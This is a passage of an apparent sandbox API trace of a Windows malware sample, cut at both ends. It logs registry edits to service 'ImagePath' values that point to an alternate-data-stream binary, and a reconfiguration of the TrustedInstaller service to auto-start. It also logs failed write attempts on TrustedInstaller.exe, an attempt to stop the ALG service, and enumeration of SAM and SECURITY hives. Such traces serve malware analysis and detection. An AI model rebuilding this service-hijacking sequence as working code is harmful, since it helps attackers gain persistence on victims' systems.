(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.160] RegSetValueExA (hKey=0x0, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData=0x21f1a00, cbData=0x1) returned 0x6 [0259.160] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.160] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.160] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.160] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.160] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.161] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.161] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.161] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.161] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.161] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.161] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.161] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.161] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.161] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.161] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.161] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0259.161] RegSetValueExA (hKey=0x0, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData=0x21f1cd0, cbData=0x1) returned 0x6 [0259.162] CommandLineToArgvW (in: lpCmdLine="", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\SFBHOP~1:bin" [0259.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0259.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0259.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0259.162] LocalFree (hMem=0x7f03d0) returned 0x0 [0259.162] RegSetValueExA (hKey=0x0, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData=0x21f1b68, cbData=0x2f) returned 0x6 [0259.162] OpenServiceW (hSCManager=0x803918, lpServiceName="TrustedInstaller", dwDesiredAccess=0x2) returned 0x803990 [0259.162] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0259.163] CloseServiceHandle (hSCObject=0x803990) returned 1 [0259.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0259.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0259.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0259.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0259.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0259.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0259.164] RegCloseKey (hKey=0x14c) returned 0x0 [0259.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0259.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0259.164] GetFileAttributesExW (in: lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bcf001f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bcf001f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bcf001f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f600)) returned 1 [0259.164] CreateFileW (lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0259.164] GetLastError () returned 0x5 [0259.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0259.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0259.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0259.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0259.168] NtClose (Handle=0x14c) returned 0x0 [0259.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0259.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0259.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0259.649] NtClose (Handle=0x14c) returned 0x0 [0259.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0259.649] NtClose (Handle=0xc4) returned 0x0 [0259.649] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x2710) returned 0x0 [0259.779] NtClose (Handle=0x150) returned 0x0 [0259.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2fc0) returned 1 [0259.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0259.780] GetFileAttributesExW (in: lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bcf001f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bcf001f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bcf001f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f600)) returned 1 [0259.780] CreateFileW (lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0259.780] GetLastError () returned 0x5 [0259.780] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0259.780] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0259.781] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0259.781] OpenServiceW (hSCManager=0x803918, lpServiceName="ALG", dwDesiredAccess=0x20) returned 0x8038a0 [0259.781] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0259.781] GetLastError () returned 0x425 [0259.781] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0259.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0259.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0259.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0259.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0259.782] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0259.782] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0259.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1ad8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0259.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.782] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0259.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0259.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.782] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0259.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0259.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.783] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0259.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0259.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.783] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0259.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0259.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.783] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0259.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0259.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.784] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0259.784] RegCloseKey (hKey=0x80000002) returned 0x0 [0259.784] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0259.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0259.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1ad8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0259.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.784] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0259.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0259.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1d60, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0259.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.784] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0259.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0259.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1ad8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0259.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.785] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0259.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0259.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.785] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0259.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0259.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.785] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0259.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.785] WideCharToMultiByte (in: CodePage=0x0, 